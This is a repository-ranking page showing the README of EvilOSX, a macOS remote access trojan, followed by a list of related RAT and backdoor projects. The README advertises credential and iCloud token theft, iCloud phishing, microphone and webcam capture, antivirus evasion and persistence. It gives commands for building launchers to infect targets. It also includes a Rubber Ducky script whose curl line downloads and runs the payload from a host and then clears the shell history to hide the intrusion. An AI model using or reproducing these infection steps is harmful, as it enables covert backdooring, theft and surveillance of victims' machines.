ランキングに戻る

Marten4n6/EvilOSX

Python

An evil RAT (Remote Administration Tool) for macOS / OS X.

ratreverse-shellmacosmacosxmacbackdoorpythonosxpost-exploitationpentestingpython3
スター成長
スター
2.4k
フォーク
487
週間成長
Issue
42
1k2k
2017年5月2020年5月2023年6月2026年7月
成果物PyPIpip install evilosx
README


Logo
EvilOSX

An evil RAT (Remote Administration Tool) for macOS / OS X.

License Python Issues Build Status Contributing


Marco Generator by Cedric Owens

This project is no longer active

Features

  • Emulate a terminal instance
  • Simple extendable module system
  • No bot dependencies (pure python)
  • Undetected by anti-virus (OpenSSL AES-256 encrypted payloads)
  • Persistent
  • GUI and CLI support
  • Retrieve Chrome passwords
  • Retrieve iCloud tokens and contacts
  • Retrieve/monitor the clipboard
  • Retrieve browser history (Chrome and Safari)
  • Phish for iCloud passwords via iTunes
  • iTunes (iOS) backup enumeration
  • Record the microphone
  • Take a desktop screenshot or picture using the webcam
  • Attempt to get root via local privilege escalation

How To Use

# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

Advanced users

There's also a CLI for those who want to use this over SSH:

# Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s)

Screenshots

CLI GUI

Motivation

This project was created to be used with my Rubber Ducky, here's the simple script:

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
  • It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
  • Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
  • To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here.
    Aluminum Keyboard (ISO) is probably the one you are looking for.

Versioning

EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
Server and bot releases will be numbered with the follow format:

<major>.<minor>.<patch>

And constructed with the following guidelines:

  • Breaking backward compatibility (with older bots) bumps the major
  • New additions without breaking backward compatibility bumps the minor
  • Bug fixes and misc changes bump the patch

For more information on SemVer, please visit https://semver.org/.

Design Notes

  • Infecting a machine is split up into three parts:
    • A launcher is run on the target machine whose only goal is to run the stager
    • The stager asks the server for a loader which handles how a payload will be loaded
    • The loader is given a uniquely encrypted payload and then sent back to the stager
  • The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight")
    • Command requests are retrieved from the server via a GET request
    • Command responses are sent to the server via a POST request
  • Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with zlib, along with any configuration options
  • Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline

Issues

Feel free to submit any issues or feature requests here.

Contributing

For a simple guide on how to create modules click here.

Credits

  • The awesome Empire project
  • Shoutout to Patrick Wardle for his awesome talks, check out Objective-See
  • manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
    (now deleted... let me know if you reappear)
  • The slowloris module is pretty much copied from PySlowLoris
  • urwid and this code which saved me a lot of time with the CLI
  • Logo created by motusora

License

GPLv3

関連リポジトリ
screetsec/TheFatRat

Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .

CGNU General Public License v3.0thefatratbypass
11.4k2.5k
quasar/Quasar

Remote Administration Tool for Windows

C#MIT Licenseratremote
9.9k2.6k
n1nj4sec/pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

PythonPyPIOtherpupypython
9k1.9k
karma9874/AndroRAT

A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side

JavaMavenMIT Licenseandroidbackdoor
4.9k1.6k
Cryakl/Ultimate-RAT-Collection

For educational purposes only, exhaustive samples of 500+ classic/modern trojan builders including screenshots.

malwaremalware-database
4.1k983
nathanlopez/Stitch

Python Remote Administration Tool (RAT)

PythonPyPIOthermac-osxlinux
nathanlopez.github.io/Stitch/
3.6k709
EntySec/Ghost

Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device.

PythonPyPIMIT Licenseadbandroid-device
entysec.com
3.4k1.1k
NYAN-x-CAT/AsyncRAT-C-Sharp

Open-Source Remote Administration Tool For Windows C# (RAT)

C#MIT Licensesockettcp
3k853
XZB-1248/Spark

✨Spark is a web-based, cross-platform and full-featured Remote Administration Tool (RAT) written in Go that allows you control all your devices anywhere. Spark是一个Go编写的,网页UI、跨平台以及多功能的远程控制和监控工具,你可以随时随地监控和控制所有设备。

GoGo ModulesBSD 2-Clause "Simplified" Licensegolangrat
2.4k582
alphaSeclab/awesome-rat

RAT And C&C Resources. 250+ Open Source Projects, 1200+ RAT/C&C blog/video.

ratremote-administration-tool
2.2k477
Fadi002/unshackle

Open-source tool to bypass windows and linux passwords from bootable usb

ShellGNU General Public License v3.0linuxpassword-crack
2k125
shivaya-dav/DogeRat

A multifunctional Telegram based Android RAT without port forwarding.

androidandroid-botnet
2k1.7k